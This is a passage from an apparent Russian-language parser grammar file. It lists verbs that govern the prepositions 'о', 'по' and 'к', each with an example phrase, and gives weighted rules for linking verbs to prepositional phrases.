rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
